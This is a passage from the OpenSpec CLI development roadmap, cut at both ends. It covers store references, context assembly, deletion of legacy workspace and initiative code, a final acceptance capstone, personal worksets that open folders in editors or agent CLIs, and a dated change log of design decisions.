slice 1.2 on 2026-06-10; implemented there. +- [x] **2.2** Hide or move initiative commands out of the main path. + Folded into slice 1.4 on 2026-06-11 (one guidance pass). +- [x] **2.3** Make workspace opening stop depending on initiatives. + Folded into roadmap item 4.1 on 2026-06-11 (opening is rebuilt there). + +### 2.1 Stop Creating New Initiative Links In Normal Change Flows + +This item was pulled forward into slice 1.2 (`slices/store-root-selection/`) +on 2026-06-10, because repurposing `--store` as root selection only works +cleanly if initiative-link creation stops in the same slice. Track progress +under 1.2. + +Progress: + +- [x] Folded into slice 1.2; see the 1.2 progress checklist. + +What the user can do: + +- Create normal changes without attaching them to an initiative. +- Still read old initiative metadata if it already exists. + +Why it matters: + +- Initiative links make the simple model harder to understand. +- They make users think the initiative system is required when it should not be + the normal path. + +What changes in commands or files: + +- `new change` stops creating new initiative links as part of the main product + path. +- `openspec set change` is removed because initiative linking was its only + behavior. +- Existing `.openspec.yaml` initiative metadata remains parseable if needed. +- Store/root selection points to normal OpenSpec roots, not initiative + collections. + +How the user or agent knows it worked: + +- New changes do not get initiative metadata by default. +- Old initiative-linked changes can still be displayed or handled as legacy. + +### 2.2 Hide Or Move Initiative Commands Out Of The Main Path + +This item was folded into slice 1.4 on 2026-06-11, because teaching guidance +that stores exist and stopping the same guidance surfaces from advertising +initiatives are one regeneration pass, not two. Track progress under 1.4. + +Progress: + +- [x] Folded into slice 1.4; see the 1.4 progress checklist. + +### 2.3 Make Workspace Opening Stop Depending On Initiatives + +This item was folded into roadmap item 4.1 on 2026-06-11. Research showed +initiative selection is hardcoded into roughly 5,500 lines of workspace +opening machinery (`WorkspaceContextState` is initiative-shaped at its core), +and 4.1 will rebuild opening around assembled context anyway — refactoring +the old path first would be wasted motion. Track progress under 4.1. + +Progress: + +- [x] Folded into roadmap item 4.1; see the 4.1 section. + +## Phase 3. Say How Roots Relate: References + +The user-facing goal of this phase: + +```text +This project repo's work draws on these planning repos. +``` + +One declared relationship between roots: + +- A project repo can **reference** the standalone OpenSpec repos its work + draws on (PMs and architects keep high-level requirements and design in a + store; devs create lower-level design and tasks in the app repo's own + OpenSpec root, with the store as cited context). + +Root resolution precedence is fixed and stated once: explicit `--store` wins, +then the nearest local `openspec/` root, then (only when no local root +exists) a declared default store, then today's error with a hint. A declared +store never overrides a local root, and references never change where commands +act. + +The earlier code-repo relationship direction was removed on 2026-06-19 because +the mental model was unclear and the current workset UX solves the observed +"open planning plus code" need through explicit local composition. + +Decisions locked on 2026-06-11: + +- **Index, not inline (3.1).** Referenced-store content is never inlined + into generated instructions; instructions carry an index (what specs + exist, one-line summaries, the fetch recipe via `--store`) built live from + the registered checkout at assembly time, and the agent fetches what it + needs. Inlining would freeze upstream content at generation time — the + copy-paste failure this effort exists to kill. +- **Declarations live in `openspec/config.yaml` (3.1, 3.2).** Both + `references:` and the fallback `store:` pointer share one home. The + fallback case is a config-only `openspec/` directory (no `specs/` or + `changes/`): root detection keeps today's stat-only walk, two extra stats + distinguish a real root from a pointer, and doctor warns when a root has + both planning shape and a pointer (pointer ignored per precedence). A + top-level marker file was rejected: `.openspec.yaml` is already taken as + per-change metadata, and a dot-only filename collision is an agent hazard. +- **Relationships are location, declaration, or citation — never managed + artifact links.** Where work lives is a relationship (`--store` is root + selection, not a link); roots declare references once at the + collection level; artifact-to-artifact derivation ("derives from + team-context/billing") is prose citation that agents follow via the + reference machinery. No per-change edge objects (see Rules We Should Not + Forget). + +Phase checklist: + +- [ ] **3.1** Let a project repo reference the stores its work draws on. + Spec and plan written and reviewed (`slices/store-references/`); + implementation is next. +- [ ] **3.2** Fall back to a declared store when no local root exists. +- [ ] **3.3** Record a canonical remote in store identity. +- [x] **3.4 / 3.5 removed.** The code-repo relationship experiment was deleted + before the beta behavior hardened. +- [ ] **3.6** Report relationship health for roots and references. + +### 3.1 Let A Project Repo Reference The Stores Its Work Draws On + +Slice: `slices/store-references/spec.md` + +Progress: + +- [x] Spec written. +- [x] Plan written. +- [x] Implementation done (config field, the index assembler with five + warning codes and the shared 50KB budget, both instruction surfaces + in both modes, docs subsection; three-mechanism post-implementation + review and a simplify pass folded). +- [x] Tests pass (full suite green, 88 files / 1641 tests; unit, + surface, and e2e layered-flow coverage). +- [ ] Merged to `main`. + +Plain-English version: + +```text +High-level requirements live in the team's planning repo. When I work in my +app repo, my agent reads them from there and cites them — without me naming +the store every session, and without my commands being redirected there. +``` + +What the user can do: + +- Declare in the project repo's `openspec/config.yaml` (for example a + `references:` list of store ids) which stores this repo's work draws on. +- Prompt an agent with "create a low-level design for billing" and have the + agent pull the store's billing requirement into context and cite it, while + writing the design in the app repo's own root. + +Why it matters: + +- This is the layered PM/architect-to-dev flow: upstream truth in the store, + downstream work in the repo, connected by reference instead of redirection + or copy-paste. +- A fresh agent discovers the relationship from config instead of being told + every session. + +What changes in commands or files: + +- A reference declaration shape in project config (config parsing is already + permissive; the existing `context:` injection in artifact instructions is + the mechanism to reuse for referenced store specs). +- Instructions/context assembly includes relevant referenced-store specs. +- Root resolution is untouched: references are read-only context. Writing to + a referenced store remains an explicit `--store` action and a separate + change in that store. +- No per-change link objects (see Rules We Should Not Forget). + +How the user or agent knows it worked: + +- Artifact instructions generated in the app repo cite referenced store + specs. +- An unresolvable reference (store not registered locally) is reported with a + clear next step, not silently ignored. + +### 3.2 Fall Back To A Declared Store When No Local Root Exists + +Slice: `slices/declared-store-fallback/spec.md` + +Progress: + +- [x] Spec written. +- [x] Plan written. +- [x] Implementation done (the resolver pointer branch with source + `declared`, the store-selected predicate across all eight consumers, + the init pointer guard with ancestor walk, the both-shapes warning; + three-mechanism post-implementation review and a simplify pass + folded). +- [x] Tests pass (full suite green, 89 files / 1656 tests; resolver + unit matrix plus the externalized-planning e2e journey). +- [ ] Merged to `main`. + +What the user can do: + +- In a repo whose planning is fully externalized (no local `openspec/`), + declare the store once and run normal commands without `--store` on every + invocation. + +Why it matters: + +- Slice 1.2 made `--store` the way to reach a root you are not standing in; + for people who are never standing in one, repeating it on every command is + a tax. The declaration records intent that agents otherwise rediscover each + session. + +What changes in commands or files: + +- A default-store declaration honored only when no local root exists + (fallback, never override), per the precedence rule above. +- The no-root error/hint from slice 1.2 remains for repos with no declaration. + +How the user or agent knows it worked: + +- With a local root present, behavior is byte-identical with or without the + declaration. +- Without a local root, commands resolve to the declared store and report it + through the existing root banner and JSON root block. + +### 3.3 Record A Canonical Remote In Store Identity + +Slice: `slices/store-canonical-remote/spec.md` + +Progress: + +- [x] Spec written. +- [x] Plan written. +- [x] Implementation done (the optional `remote` in store.yaml via + `setup --remote`; observed origins recorded machine-locally at + setup/register with rerun-safe refresh reporting; doctor and sharing + surfaces; `{id, remote}` reference declarations with shell-safe + verbatim clone fixes; three-mechanism review and a simplify pass + folded). +- [x] Tests pass (full suite green, 90 files / 1678 tests; the e2e + onboarding journey executes the printed fix verbatim). +- [ ] Merged to `main`. + +What the user can do: + +- Clone an app repo that references a store they do not have yet, and be told + where to clone the store from. + +Why it matters: + +- References and teammate onboarding both dead-end today at "register the + store" — nothing records where a store can be cloned from. The registry + already supports an optional remote but nothing populates it, and the + shared `store.yaml` identity has no remote field at all. + +What changes in commands or files: + +- Optional canonical remote in `.openspec-store/store.yaml` (the shared, + committed home), populated at setup/register when known. +- Doctor surfaces it; unresolved-reference and register guidance use it + ("clone from <remote>, then register"). +- Recording a remote is not sync: no clone, pull, push, or branch behavior. + +How the user or agent knows it worked: + +- A registered store's remote is visible in doctor output. +- Guidance for an unregistered referenced store names the clone source. + +### 3.4 / 3.5 Removed: Code-Repo Relationship Experiment + +The dedicated experiment slices were deleted on 2026-06-19. + +Progress: + +- [x] Original experiments implemented. +- [x] Removed on 2026-06-19 before they became expected user behavior. + +Why it matters: + +- The abstraction asked users to maintain a committed declaration plus a + machine-local map before the product had a crisp scenario for it. +- Real dogfood opened the planning store plus code repo with manual workset + members, which solves the current user need without a second relationship + model. + +What changes in commands or files: + +- Remove the old command group, registry section, config/metadata parsing, + instruction/doctor/context output, and related diagnostics/tests. +- Keep a small note that multi-repo coordination may need a future design once + the user model is clearer. + +How the user or agent knows it worked: + +- `openspec --help`, instructions, doctor, context, docs, and the agent + contract no longer teach or emit code-repo declaration/map fields. + +### 3.6 Report Relationship Health + +Slice: `slices/relationship-health/spec.md` + +Progress: + +- [x] Spec written. +- [x] Plan written. +- [x] Implementation done (the root-scoped `openspec doctor` — pure + composition over the Phase 3 assemblers; every recorded deferral + landed; health-mode assembler options; the torn-snapshot + readRegistrySnapshot invariant; three-mechanism review and a + simplify pass folded). +- [x] Tests pass (full suite green, 96 files / 1739 tests). +- [ ] Merged to `main`. + +What the user can do: + +- Ask OpenSpec whether the roots this work relates to — referenced stores and + the resolved OpenSpec root — are available on the current machine. + +Why it matters: + +- Agents need to know whether they can read the referenced context and + trust the resolved OpenSpec root. +- This should be diagnostic only; it should not clone or sync anything. + +What changes in commands or files: + +- Doctor output reports root, store, and reference health. +- The report clearly separates OpenSpec root health, store metadata health, + reference health, and top-level relationship warnings. + +How the user or agent knows it worked: + +- Unresolvable references are easy to see. +- The output does not attempt clone, pull, push, sync, branch, or worktree + behavior. + +## Phase 4. Assemble The Working Context + +The user-facing goal of this phase: + +```text +Give me — or my agent — everything this work relates to in one working set: +the OpenSpec root and the stores it references. +``` + +Phase checklist: + +- [x] **4.1** Assemble the working context from declared relationships. + (Merge to `main` pending.) + +### 4.1 Assemble The Working Context From Declared Relationships + +This item absorbed roadmap item 2.3 on 2026-06-11: the old workspace opening +machinery has initiative selection hardcoded into its state model across +roughly 5,500 lines, and this slice rebuilds opening around assembled +context, so de-initiative-ing the old path first would be wasted motion. + +Slice: `slices/assemble-working-context/spec.md` + +Progress: + +- [x] Spec written. +- [x] Plan written. +- [x] Implementation done (CP1 deleted the workspace machinery — + 27 files, −2,196 lines; CP2 added `openspec context` with the JSON + agent brief, human listing, and `--code-workspace` emitter; + three-mechanism review and a simplify pass folded). +- [x] Tests pass (checkpoint suite green; current PR head is green at + 97 files / 1,761 tests). +- [ ] Merged to `main`. + +What the user can do: + +- From any root, get the full working set its declarations describe: the + OpenSpec root itself and its referenced stores. +- Consume that set as an editor view (for example a code-workspace file) or + as an agent session brief — opening in an editor is one consumer of + assembly, not the feature itself. + +Why it matters: + +- Users need the plan and its upstream context together; code folders are added + explicitly through personal worksets. +- Assembly is a local convenience computed from Phase 3's declared + relationships, not a new planning system; the primary interface is an agent + session, so the assembled set must be agent-consumable, not only + editor-shaped. + +What changes in commands or files: + +- Replace or rebuild workspace opening around assembled context (this is + where old item 2.3's initiative decoupling actually happens). +- Use the selected OpenSpec root as the durable planning source of truth and + reference declarations for upstream stores. +- Do not create workspace-owned planning state. + +How the user or agent knows it worked: + +- The assembled set contains the OpenSpec root and resolvable referenced + stores, with unresolvable references reported, not guessed. +- Assembly does not create or require initiative planning state. +- The durable files remain normal OpenSpec artifacts. +- The result does not imply clone, pull, push, sync, branch, worktree, + dashboard, or edit-boundary enforcement. + +## Phase 5. Remove Old Surfaces Only When They Confuse The Simple Path + +The user-facing goal of this phase: + +```text +Remove or hide old beta surfaces only when they make the simple path harder to +use or understand. +``` + +Phase checklist: + +- [x] **5.1** Remove or hide old workspace and initiative paths when they block or + confuse the simple path. (Merge to `main` pending.) + +### 5.1 Remove Or Hide Old Workspace And Initiative Paths + +Progress: + +- [x] Criteria agreed (2026-06-11): **delete, don't hide — sequenced.** + With zero users, hiding keeps every cost (rot, grep noise, refactors + routing around dead code) and adds a hidden/visible distinction to + protect nobody. Sequence: guidance surfaces die in slice 1.4 (planned), + the `workspace` and `initiative` command groups become their own small + deletion slice soon after 1.4, and the workspace **state model** plus + the `workspace-planning` mode die when 4.1 replaces opening + (zero-consumer opening helpers go with the command groups — keeping + unreachable files would be hiding, which these criteria reject; wording + narrowed 2026-06-11 during the deletion-slice spec, recorded as a + reviewable autonomous decision). The inviolable carve-out stays: never + auto-delete user data files. "Hide now, delete later" is rejected + because later never comes. +- [x] Cleanup plan written (first tranche: the command-group deletion + slice, `slices/delete-legacy-command-groups/`; spec and plan both + through two adversarial review rounds). +- [x] Cleanup done. First tranche complete 2026-06-11: the `workspace` + and `initiative` command groups and everything only they consumed are + deleted (−12,903 net lines), with the deletion ledger committed. The + remainder executed 2026-06-11 after 4.1 + (`slices/delete-legacy-command-groups/remainder.md`): + `schemas/workspace-planning/` deleted (it was still advertised by + `openspec schemas`); the four `workspace-*` beta change folders + deleted (unimplemented relics — archiving would assert completion); + L2 decided — the four wholly-workspace accepted specs deleted + (capability gone = spec gone), the workspace requirements excised + from `cli-config` and `cli-artifact-workflow` (bounded, not a + rewrite), incidental mentions elsewhere recorded for the capstone + vocabulary audit. +- [x] Tests or review checks pass. First tranche green (85 files, 1,616 + tests; three-mechanism review, no open P1/P2). Remainder green at its + checkpoint; current PR head is green at 97 files / 1,761 tests and all + 36 accepted specs validate. +- [ ] Merged to `main`. + +What the user can do: + +- Follow the simple OpenSpec root path without being distracted by obsolete beta + workflows. + +Why it matters: + +- Cleanup is useful only when it reduces confusion or removes a blocker. +- It should not become a broad compatibility project or docs rewrite. + +What changes in commands or files: + +- Obsolete no-delta workspace changes can be deleted, archived, or moved out of + the active queue. +- Workspace-planning and initiative-collection code, docs, specs, and generated + guidance can be removed or moved out of the main path where they mislead + users or agents. +- Existing user data is not deleted automatically. + +How the user or agent knows it worked: + +- The active roadmap and generated guidance point to the simple path. +- Old surfaces no longer look like required workflow. + +## Phase 6. Prove The Whole, Ready For First Users + +The user-facing goal of this phase: + +```text +A person with zero context can start using this today: every persona +journey works cold, every error leads somewhere, and the codebase ended +leaner than it started. +``` + +Phase checklist: + +- [ ] **6.1** Final acceptance capstone. + +### 6.1 Final Acceptance Capstone + +The slices prove themselves; this proves the product — the sum of all +phases, reviewed and exercised as one thing. Full checklist in +`runbook.md` ("Final acceptance capstone"). + +Progress: + +- [x] Persona journeys pass (fresh team, layered PM-to-dev, externalized + planning, cold-start agent with no insider knowledge). Results: + `capstone/journeys.md` — journeys 1–3 as standing e2e + (store-lifecycle + capstone-journeys test files), journey 4 as a + live headless codex dogfood that assembled the store/pointer flow from + `--help` alone. +- [x] Usability audits done (error catalog, vocabulary sweep including + `docs/cli.md`, time-to-first-success documented). Results: + `capstone/usability-audits.md` — 55 wrong turns walked (46 pass; the + 9 failures are queued for the capstone fix round before the report); + vocabulary clean except one legacy initiative JSON passthrough + (queued); TTFS measured live at 2 commands / 2 concepts with every + step printing the next command. +- [x] Technical audits done (single-resolver invariant, dependency + direction, dead code, module sizes, agent-contract inventory, net LOC + delta reported). Results: `capstone/technical-audits.md` — both + invariants HOLD with zero violations; dead code yields five P3s + (queued) and no P2s; module sizes bounded (largest 1,196 lines); the + agent contract is documented in `docs/agent-contract.md` (every JSON + shape + 100+ diagnostic codes verified against emitting code, 14 + consistency findings recorded, one gauntlet-grade); current PR-head + src net LOC is **−3,189** vs origin/main. +- [x] Whole-delta review gauntlet over `origin/main...HEAD` passed with no + open P1/P2 findings. Four mechanisms (`capstone/gauntlet.md`); the 2 + P1 + 13 P2 findings all fixed (37ad867) and live re-verified; full + suite green (97 files, 1,761 tests); all 36 accepted specs validate. +- [x] Release-readiness report committed + (`capstone/release-readiness.md`) — the five-minute story, all audit + results, the autonomous-decision ledger, known gaps mapped to Later + Ideas. No open P1/P2 findings. +- [ ] Merged to `main`. + +Why it matters: + +- Each slice was reviewed against its own base; nobody has reviewed or + exercised the sum. Cross-slice inconsistencies, vocabulary drift, and + cold-start failures live exactly there. +- "Could start using it straight away with no issues" is a product claim + that checkboxes cannot make; only journeys and audits can. + +How the user or agent knows it worked: + +- All four journeys run green as tests or headless dogfoods. +- The release-readiness report reads as a credible first-user story, with + known gaps mapped to Later Ideas rather than discovered by users. + +## Phase 7. Keep And Open Personal Worksets + +The user-facing goal of this phase: + +```text +Let me keep my own named view of the folders I work on together, and +open them all with one command in the tool I choose. +``` + +Phase checklist: + +- [ ] **7.1** Personal worksets: compose, keep, and open a local working + view. + +### 7.1 Personal Worksets: Compose, Keep, And Open A Local Working View + +User-directed follow-up (owner design review, 2026-06-12; supersedes the +change-anchored direction in `workset-direction.md` where they differ). A +workset is a purely local, personal, named working view: the user composes +it manually (a planning root plus whatever folders they choose), keeps it +on their machine, reopens it by name, and launches it into their tool of +choice. It is not committed, not shared, not derived from declarations, +and never a membership truth — it makes no claims about the work, only +about what this user likes open together. A future multi-repo +coordination design may suggest members during composition, but there is +no code-repo relationship machinery in the current product path. `openspec +context` remains focused on OpenSpec roots and references. + +Progress: + +- [x] Research done and spec written. +- [x] Plan written. +- [x] Implementation done. +- [x] Tests pass. +- [x] Capstone dogfood passes (end-to-end UX run; transcript in the + slice folder). +- [x] Branch pushed; code-review comments addressed. +- [ ] Merged to `main`. + +What the user can do: + +- Group the folders they work on together — a store checkout plus some + repos — under a name, in one short guided flow, with nothing to set + up beforehand. +- Reopen that grouping any time, by name, in their preferred tool, or + a different tool for a single open. +- List and remove their saved views; nothing they do here touches any + member folder or any shared state. + +Why it matters: + +- Multi-root work has a daily "get everything open again" cost; this + removes it without reintroducing managed workspace state. +- Agent sessions launched from a workset get real access to every + member (attach flags / sandbox roots), which a printed brief alone + cannot grant. + +What changes in commands or files: + +- A new `workset` command group (compose/list/open/remove shapes to be + settled in spec) and a machine-local saved-views file in the global + data dir, following the registry's lock/atomic-write idiom. +- An opener table (built-ins: `code`, `cursor`, `claude`, `codex`) + with user-extensible local config per the two-style pattern in FR2. +- No changes to `openspec context`, project config parsing, or any committed + file format. + +How the user or agent knows it worked: + +- A first-time user composes and opens a view in under a minute, and + the same name reopens it tomorrow. +- An agent opened from a workset can read and edit every member folder + without asking where things are. +- Deleting all workset state loses nothing the user cannot recompose + in a minute; no member folder ever contains workset residue. + +Decisions locked (2026-06-12, owner-directed): + +- Local-only, manual composition; never committed, shared, or derived. +- **No starter prompt on agent opens** — reusing a grouping implies + nothing about intent; sessions open clean with directories attached. +- Tools-as-config via exactly two launch styles (`workspace-file`, + `attach-dirs`); no per-tool code paths. +- No `--print`/dry-run mode; fallback info lives in the failure path. +- Desktop apps unsupported until they expose a real launch interface. +- The retired noun "workspace" stays retired; the feature noun is + "workset". + +Research needed before the spec (the slice's first checkpoint): + +- Saved-views file shape and exact location; name validation rules. +- Opener config: file location, schema, override/merge semantics with + built-ins; verify the `cursor` CLI shim's `.code-workspace` handling. +- Terminal-handoff details for agent opens (signal handling, exit-code + propagation, `--json` interplay) — crib from `f858c19^` mechanics: + cross-spawn, stdio inherit, shell false, PATH/PATHEXT availability. +- Compose-flow prompt design against the house `@inquirer` idiom. + +Functional requirements (user perspective): + +**FR1 — Compose and keep a personal working view.** + +1. When a user regularly works across a planning repo and some code + repos together, they can compose that grouping by pointing at + folders, name it, and have it kept — one short guided flow, nothing + to set up beforehand. +2. The composition is entirely the user's choice: any folders, any + number, no requirement that they relate to declarations, teammates, + or anything else. +3. The saved view is private to the user's machine — never committed, + never shared, never written into any member folder. +4. Listing views shows each name with its members at a glance. +5. Removing a view deletes only the saved view, never a member folder. + +```gherkin +Scenario: First working view in under a minute + Given a user works on a store plus web-app and api-server together + When they create a workset, point at the three folders, and name it + Then it is saved on their machine and offered to open immediately + And nothing was created or changed inside any member folder + +Scenario: Composition is personal + Given a teammate works on the same store with different repos + When each composes their own workset + Then neither sees, affects, or needs the other's + +Scenario: Removing a view is safe + When a user deletes a workset + Then only the saved view is gone; member folders are untouched +``` + +**FR2 — Open the view in your tool.** + +1. Opening a workset launches the chosen tool with every member + attached and accessible. The open kind is stated plainly: editors + (VS Code, Cursor) open a window and return; CLI agents (Claude + Code, codex) take over this terminal as a session that ends when + they exit. +2. Only tools actually installed are offered; the preference saved at + composition is overridable per open without changing it. +3. Supporting a new tool is configuration, not code. Every tool is an + instance of one of two launch styles — `workspace-file` (invoke + with the generated `.code-workspace`) or `attach-dirs` (executable + + optional pre-args + one attach flag per member; no prompt is + passed — agent sessions open clean) — and users can add tools or + adjust parameters (command, attach flag) in local config, so a tool + renaming its flag is a one-line local fix. (The git + difftool/mergetool pattern.) +4. When a tool cannot be driven (desktop apps, for now) or a launch + fails, the user is shown the generated workspace file and the + member folders so they can open manually — never a bare error. + (Considered and dropped: a `--print` dry-run flag; the fallback + information lives in the failure path instead.) +5. A member folder missing at open time is skipped with a one-line + note; the rest of the view opens. + +Built-in opener table at v1: `code`, `cursor` (workspace-file style); +`claude`, `codex` (attach-dirs style; codex carries +`--sandbox workspace-write` pre-args). Availability via PATH scan. + +```gherkin +Scenario: Editor open returns, agent open takes over + When the user opens "platform" in VS Code + Then a window opens with all members and the prompt returns + When the user opens "platform" in Claude Code + Then a Claude session starts in this terminal with every member + granted as a working directory, no prompt pre-filled, and ends + when they exit it + +Scenario: Adding a new editor without a release + Given the user adds `zed: { style: workspace-file }` to local config + When they open a workset in zed + Then it launches with the generated workspace file + +Scenario: Flag drift is a local fix + Given a CLI agent renamed its attach flag + When the user overrides that tool's attach_flag in local config + Then opens work again immediately + +Scenario: Launch failure never strands + When a launch fails or the tool has no launch interface + Then the user sees the workspace file path and member folders to + open manually +``` + +Evidence base: the deleted `workspace` feature's guided setup, opener +availability sorting, graceful missing-path skips, and per-tool launch +recipes were its good bones (recoverable at `f858c19^`; launch +mechanics: cross-spawn, stdio inherit for agent handoff, shell false, +PATH/PATHEXT availability scan); its registry indirection, managed +directories, initiative binding, skills state, and repair subcommands +are explicitly not inherited. Current code provides the +`.code-workspace` builder (pure), the XDG storage idiom, and the +prompt library. + +## Later Ideas + +Keep these out of the main queue until the simpler standalone OpenSpec repo path +is working: + +- **L1** Rewrite public concept docs after behavior is solid. +- **L2** Decide how accepted workspace-planning specs should change once behavior has + changed. +- **L3** Revisit richer multi-repo coordination only after real usage shows a + clear user model. +- **L4** Consider first-class `work/` only after the baseline and standalone repo flow + are solid. +- **L5** Revisit whether `changes/` should evolve into change-shaped work under + `work/`. +- **L6** Add machine-readable `/work` metadata only after the manual shape proves + useful. +- **L7** The keep-or-rename *decision* for `context-store` terminology moved + into slice 1.4 on 2026-06-11 (guidance prose should not bake in a name we + have not chosen, and renaming is free while there are no users). Only the + execution of a rename, if chosen, may land here as its own slice. +- **L8** Review local `use-openspec` skill guidance and decide whether it should be an + ignored local skill, generated artifact, checked-in source, or productized + default. +- **L9** Fix small baseline quirks, such as JSON support for `openspec list --specs`, + only if they matter to the simple standalone repo flow. +- **L10** Reintroduce initiative-like behavior only as a Git-native work type if it + still proves useful later. +- **L11** Make archived changes browsable through commands (for example + `list --archived`) if filesystem and Git history prove insufficient. The + archive command's own confirmation line is the lifecycle's verification + signal for now. + +## Roadmap Change Log + +- 2026-06-07: Started the active reorientation experiment under + `openspec/work/` instead of continuing the context-store initiative roadmap. +- 2026-06-07: Renamed the active work from the abstract Git-native principle to + the concrete context/workspace model simplification. +- 2026-06-08: Removed the experimental `/work` folder shape from the roadmap; + it is the dogfood structure for this thinking, not a product slice. +- 2026-06-08: Preserved the old initiative reorientation item and expanded the + framing cleanup into separate roadmap slices. +- 2026-06-08: Completed the old initiative reorientation pass by rewriting the + opening sections of old initiative files as transition evidence and beta + history. +- 2026-06-09: Marked old workspace reimplementation artifacts obsolete or + pending deletion review. +- 2026-06-09: Reframed checked-in `use-openspec` guidance around OpenSpec roots + and artifact placement instead of beta shared-context framing. +- 2026-06-09: Deferred public concept docs until the simplified model is more + solid. +- 2026-06-09: Reordered the roadmap around standalone OpenSpec repos and local + views. +- 2026-06-09: Added the store-root-parity slice spec. +- 2026-06-10: Rewrote this roadmap in user-facing language so each slice says + what the user can do, why it matters, what changes, and how success is + visible. +- 2026-06-10: Numbered phases, phase subitems, and later parking-lot ideas so + progress can be tracked unambiguously. +- 2026-06-10: Settled the model question behind 1.2: the OpenSpec root is the + planning home, a context store is registration/identity only, and workspace + "planning home" is legacy beta language. +- 2026-06-10: Locked the 1.2 decisions and added the store-root-selection + slice spec: repurpose `--store` as root selection and pull 2.1 forward, + defer `--store-path`, demote leftover workspace state during the resolver + rework, and replace the silent implicit-root scaffold with an error and + hint when registered stores exist. +- 2026-06-11: Walked the standalone-store lifecycle by hand against the + built CLI. The 1.1/1.2 command mechanics held up; the gaps were the + sharing path (commitless setup repos, empty clones, circular register + errors), guidance that drops the selected store, and leftover + workspace-era output language. +- 2026-06-11: Locked the 1.3 decisions and added the store-lifecycle-proof + slice spec: the proof is a two-checkout journey test; setup defaults to + Git with an initial commit and an explicit path; doctor reports read-only + Git facts; register errors become terminal; selected-store hints keep the + store; `view` stays out until Phase 4. +- 2026-06-11: Added slice 1.4 for agent and help-surface store + discoverability (the deferred guidance debt from slice 1.2) and parked + archive browsability as L11. +- 2026-06-11: Folded review findings into the store-lifecycle-proof spec + after reproducing the empty-clone failure against the built CLI: tracked + placeholder files so clones keep empty store directories, an up-front Git + identity check for setup, an explicit interactive location prompt, and an + enumerated second-checkout journey that reads promoted specs instead of + browsing the archive. +- 2026-06-11: Wrote the store-lifecycle-proof plan, grounded in a code map + of the setup/doctor/register internals, the hint and banner sites, and + the CLI e2e harness. +- 2026-06-11: Adopted a single working branch for the whole roadmap: all + slices implement on `codex/store-root-parity` (PR #1190), stacked in + order, with merge to `main` deferred until the work lands as a whole. +- 2026-06-11: Implemented slice 1.3 with the two-checkout journey test, then + ran two adversarial subagent reviews and folded all findings: hint + continuity extended to validate/show/archive/status-JSON next steps, + Windows-safe journey assertions and telemetry isolation, index-preserving + commit cleanup on failure, reruns no longer git-init registered stores, + corrupt repos are no longer reported as commitless, and the machine-B + journey now covers the full enumerated command set. Full suite green + (93 files, 1729 tests). +- 2026-06-11: Folded a code-quality review round: setup's initial commit is + now derived from the store shape rather than the rollback ledger, so + converting an existing non-Git root produces a clonable repo (the commit + carries config and specs, never unrelated beta files); identity-file + creation is owned by setup alone, with registration verifying instead of + writing; Git mechanics moved to `src/core/context-store/git.ts`; and the + Git lifecycle tests split into `context-store-git.test.ts` with shared + fixtures. +- 2026-06-11: Restructured the roadmap after a fresh-eyes review. The + PM/architect-to-dev layering use case (high-level requirements in a store, + implementation work in the app repo's own root) replaced the rejected + "project-to-store binding" idea with declared relationships between roots: + references never change where commands act, and root resolution precedence + is fixed (explicit `--store`, then nearest local root, then a declared + default only when no local root exists, then error with hint). +- 2026-06-11: Merged old item 2.2 into slice 1.4 (one guidance pass over the + ~13 surfaces inventoried by research) and gated 1.4 on the context-store + terminology decision promoted from L7. Folded old item 2.3 into item 4.1 + (initiative selection is hardcoded into ~5,500 lines of opening machinery + that 4.1 rebuilds). Phase 2 now carries no independent work. +- 2026-06-11: Rewrote Phase 3 around relationships: references first (3.1 repo + references stores, 3.2 declared-store fallback, 3.3 canonical remote in store + identity), then relationship health. Reframed Phase 4 as context assembly, with editor + opening as one consumer and an agent session brief as another. Added two + guardrails: references are repo-level config, never per-change lifecycle + links, and one change lives in one root. Updated goal.md with the layered + reference experience. +- 2026-06-11: Added Phase 6 (final acceptance capstone) and standing + quality bars to the runbook: the autonomous run cannot declare completion + on ticked boxes alone — four persona journeys (including a cold-start + agent with no insider knowledge), usability audits (error catalog, + vocabulary sweep, time-to-first-success), technical audits + (single-resolver invariant, dependency direction, dead code, module + sizes, agent-contract inventory, net LOC delta), a whole-delta review + gauntlet over `origin/main...HEAD`, and a committed release-readiness + report. +- 2026-06-11: Locked the open decisions after parallel product-level and + staff-engineer analyses. Naming: the noun is "store" with the + `context-store` → `store` group rename and machine-token rename landing + first in slice 1.4 (`--store` stays; the repo noun was rejected for code + checkout ambiguity). Phase 3: index-not-inline injection, + declarations in `openspec/config.yaml`, one typed id namespace, and the + relationship altitude rule (location, declaration, or citation — never + managed per-artifact links, which is what initiative links were). Phase 5 + criteria agreed: delete rather than hide, sequenced across 1.4, a small + command-group deletion slice, and 4.1. Loop operating rules approved: + full slice discipline with adversarial subagent reviews plus codex CLI + reviews, stopping at undecided items, Phase 5 entry, and merges. +- 2026-06-11: Folded plan-review findings into the slice after checking + them against the code: `store.yaml` must be written before setup's + initial commit (today it is written during registration, after Git + init), the commit must be pathspec-limited to preserve the user's + staged index, the identity preflight uses `git var` so env-var identity + counts, converted roots get placeholders at first accept while doctor + warns on clone-fragile empty directories in older stores, and the + journey's `created_files` assertion runs setup in JSON mode. +- 2026-06-11: Wrote the store-rename-and-guidance slice spec (1.4) and + folded two parallel adversarial review rounds (subagent: + approve-with-fixes; codex CLI: reject). Both converged on the same flaw + — exempting the legacy initiative/workspace groups from the token + rename contradicted the locked machine-token decision, left + paste-broken hints, and kept a second live `--store` meaning — so the + spec now states one rule: the token rename is total and mechanical + everywhere (codes, JSON keys, dotted diagnostic fields, hints, docs — legacy + groups included), the prose rewrite is surgical (enumerated guidance + surfaces only), and behavior changes are exactly the two riders. Also + folded: the corrected token inventory (45 codes pinned by sweep, plus + the dotted `context_store.*` target family), the missed guidance + surfaces (`artifact-placement.md`, `docs/workspaces-beta/`), the three + out-of-guard workspace-prose mentions in templates, a sweep-as-test + acceptance criterion, and a concrete delivery mechanism for the dogfood + proof (`openspec init` in the scratch repo). +- 2026-06-11: Decided autonomously (review me): the `context-store` group + gets no back-compat alias and the old `context-stores/` data dir is not + migrated — zero users on the unmerged branch, and 5.1 locked + delete-don't-hide. +- 2026-06-11: Decided autonomously (review me): internal identifiers + rename with the product noun (`src/core/context-store/` → + `src/core/store/`, `ContextStore*` → `Store*`, command/test/helper + files follow) — one concept, one token in the codebase; compiler-checked + and free with no users. +- 2026-06-11: Decided autonomously (review me): the legacy `initiative` + and `workspace` groups get token substitution and legacy-labeled + one-liners only, never restructuring; initiative's `--store`/ + `--store-path` selectors keep behavior under reworded descriptions as a + named, expiring inconsistency that the next slice deletes with the + group. +- 2026-06-11: Decided autonomously (review me): workflow-template + 